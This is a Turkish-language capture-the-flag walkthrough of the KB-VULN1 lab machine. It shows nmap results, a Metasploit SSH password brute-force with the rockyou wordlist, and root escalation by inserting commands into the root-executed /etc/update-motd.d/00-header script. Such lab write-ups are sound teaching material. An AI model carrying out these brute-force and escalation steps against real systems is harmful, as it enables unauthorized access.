KB-VULN1
KB-VULN1 Makine Çözümü
Hazırlık
Merhabalar. Bu yazımda Kb-Vuln makinesinin çözümünü sizlerle paylaşacağım. Kernelbloğun yayınladığı kb-vuln makinesi basit bir enumeration açığı barındırmaktadır.
İlk önce makineyi vulnhub üzerinden indirip virtualbox‘a kurunuz. Ağ ile ilgili gerekli ayarları yaptıktan sonra (köprü bağdaştırıcısı) makineyi çalıştırınız.
Makine sorunsuz çalışıyorsa çözüme başlayabiliriz.
Bilgi Toplama
Öncelikle ağ üzerinde hedef makineyi bulmamız gerekiyor. Bunun için çeşitli yöntemler mevcut, ben nmap’i kullanarak basit bir ping işlemiyle hedefi tespit edeceğim. Bu işlem için network idnizi bilmeniz gerekiyor.
nmap 192.168.1.0/24 -Sp -T5
nmap 192.168.1.10 -T5 -A -p- -sS
Sonuçlar:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-08 22:37 +03
Nmap scan report for 192.168.1.10
Host is up (0.0011s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.11
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
| 256 af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_ 256 9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: OneSchool — Website by Colorlib
8443/tcp open ssl/http LXD container manager REST API
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=root@kb-server/organizationName=linuxcontainers.org
| Subject Alternative Name: DNS:kb-server, IP Address:192.168.1.10
| Not valid before: 2020-09-07T13:12:16
|_Not valid after: 2030-09-05T13:12:16
MAC Address: 08:00:27:09:6B:FC (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%),
Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology DiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%), Linux 2.6.32 - 2.6.35 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.08 ms 192.168.1.10
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.72 seconds
Tarama sonuçlarına hızlıca bir göz gezdirdiğimde 21, 22 ve 80 portlarının açık olduğunu gördüm. Öncelikle makinedeki web sayfasını görüntüledim.
Fazla interaktif olmayan bir sayfaya. Hal böyle olunca ctrl+u ile sayfanın kaynak kodlarını görüntüledim. Html kodlarının arasında sysadmin adında bir kullanıcı adına rastladım.
Kullanıcı adını not alıp araştırmaya devam ettim. Nikto ve dirb ile sunucuda barınan dosyaların bazılarını görüntüleme şansım oldu. Sunucu içerisinde uzun süre dolaştıktan sonra siteyi terk ettim. Bu kısımlarla ilgili fazla detay vermiyorum çünkü işe yarar bir veri elde edemedim.
Sonrasında nmap sonuçlarına geri döndüm. Makinede bulunan 21 ve 22 numaralı portlara ait sürüm bilgisi, açık bilgisi ve exploit gibi araştırmalara başladım. Sağlıklı sonuçlar alamayınca bu portlara brute-force uygulama kararı aldım.
Saldırı
Önce ssh üzerine bir saldırı başlattım. Ssh saldırısı için Metasploit aracını kullandım. Sırasıyla şu komutları kullanarak kaliyi saldırıya hazırladım:
- msfconsole
- search ssh_login
- use auxiliary/scanner/ssh/ssh_login
- show options
- set rhosts 192.168.1.10
- set username sysadmin
- set pass_file /usr/share/wordlists/rockyou.txt
- set stop_on_success true
- run
Yukarıdaki adımları açıklamak gerekirse. Metasploite girdim. Ssh_login auxiliary’sini bulup seçtim. İp, kullanıcı adı ve parola dosyasını ayarladıktan sonra saldırıyı başlattım.
Çok geçmeden parolayı elde ettim, password1.
SSH ile Devam
Makineye giriş için kullanıcı ve parolasını elde ettik. Şimdi bağlantı zamanı.
root@kali:/home/suha/Masaüstü# ssh sysadmin@192.168.1.10
sysadmin@192.168.1.10's password:
Welcome
Last login: Tue Sep 8 23:09:04 2020 from 192.168.1.11
sysadmin@kb-server:~$
sysadmin@kb-server:~$ ls -la
total 80
drwxr-xr-x 7 sysadmin sysadmin 4096 Sep 8 08:57 .
drwxr-xr-x 3 root root 4096 Aug 22 17:53 ..
-rw------- 1 sysadmin sysadmin 12727 Sep 8 09:06 .bash_history
-rw-r--r-- 1 sysadmin sysadmin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin 3771 Apr 4 2018 .bashrc
drwx------ 2 sysadmin sysadmin 4096 Aug 22 17:02 .cache
drwxr-x--- 3 sysadmin sysadmin 4096 Sep 7 13:12 .config
drwxrwxr-x 2 sysadmin sysadmin 4096 Aug 22 17:39 ftp
drwx------ 3 sysadmin sysadmin 4096 Aug 22 17:02 .gnupg
-rw------- 1 sysadmin sysadmin 31 Sep 7 12:46 .lesshst
drwxrwxr-x 3 sysadmin sysadmin 4096 Sep 6 22:04 .local
-rw-r--r-- 1 sysadmin sysadmin 807 Apr 4 2018 .profile
-rw------- 1 sysadmin sysadmin 7 Sep 6 22:55 .python_history
-rw-rw-r-- 1 sysadmin sysadmin 66 Sep 6 22:21 .selected_editor
-rw-r--r-- 1 sysadmin sysadmin 735 Sep 7 00:11 .ssh
-rw-r--r-- 1 root root 33 Aug 22 17:54 user.txt
-rw-rw-r-- 1 sysadmin sysadmin 215 Sep 7 11:57 .wget-hsts
sysadmin@kb-server:~$
Çeşitli dosyalar ve klasörler var, bu dosyalar arasından user.txt‘yi elde ederek ilk bayrağı alıyorum. Sonrasında ftp klasörüne giriyorum. İlk önce bu klasöre girmemin sebebi read, write, execute yetkilerinin çok olması. Ftp klasörünün içerisinde gizli bir dosya bulunmakta, .bash_history.
Bu dosyayı açtığımda daha önceden bu kullanıcı üzerinden terminalden çalıştırılmış bazı komutları gördüm.
Bu dosyada kabaca /etc/update-motd.d/00-header adındaki dosyanın nano ile açıldığı bilgisi yer almaktaydı.
Düzenlenen bu header dosyasına girdiğimde şöyle bir manzarayla karşılaştım.
Yukarıdaki açıklama satırlarında kullanılan dosya ile ilgili lisans açıklamaları bulunmaktaydı. Bu dosyadan anladığım makinede bir selamla programının kurulu olduğu ve sisteme her uzaktan giriş yaptığında çalıştığıydı.
Dosya bash ile yazılmış bu da dosya içerisinde herhangi bir terminal komutunu çalıştırabileceğim anlamına gelmekte. Bu da zaten dosyadaki echo komutundan anlaşılır diye düşünüyorum.
Bu düşüncemi teyit etmek için içeri id komutunu bıraktım ve dosyayı çalıştırdım.
sysadmin@kb-server:/etc/update-motd.d$ ./00-header
Welcome
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
sysadmin@kb-server:/etc/update-motd.d$
Çıktılar düşüncemi doğrular nitelikteydi. Dosyaya yazdığım id komutu çalışmıştı ve mevcut kullanıcının çeşitli grup ve uid bilgilerini döndürmüştü.
Programı denemek için mevcut ssh bağlantısını kesip makineye tekrardan bağlandım.
Bitiş
Bağlandığımda elde ettiğim görüntü bi hayli korkunçtu. Terminale sysadminin değil de root’un gid, uid bilgileri gelmişti. Şu aşamadan sonra benim için makine çözüldü.
Header dosyasına erişip içeriye flag.txt’yi bulmak için gerekli komutu girdim. İki flag’i de alıp makineyi terk ettim…
Notlar
Şu son kısımda flag.txt’yi bulmak için bir kod değilde sysadmin’i sudoers’e ekleyerek root’a geçiş yapılabilir miydi? Yapılırdı ama gerek yok, biz işimizi gördük.
Bunun dışında makineyi iki kişilik bir ekip olarak çözdük, emeklerinden dolayı Süha Arslan'a teşekkürler.
Emek hırsızlığını önlemek ve hazıra konmak gibi bilimum zararlı eylemlerden sizleri korumak için user ile flag içerisindeki verileri paylaşmıyorum.
Güzel makine olmuş, elinize sağlık Kernelblog.
Yorumlar
Yorum Gönder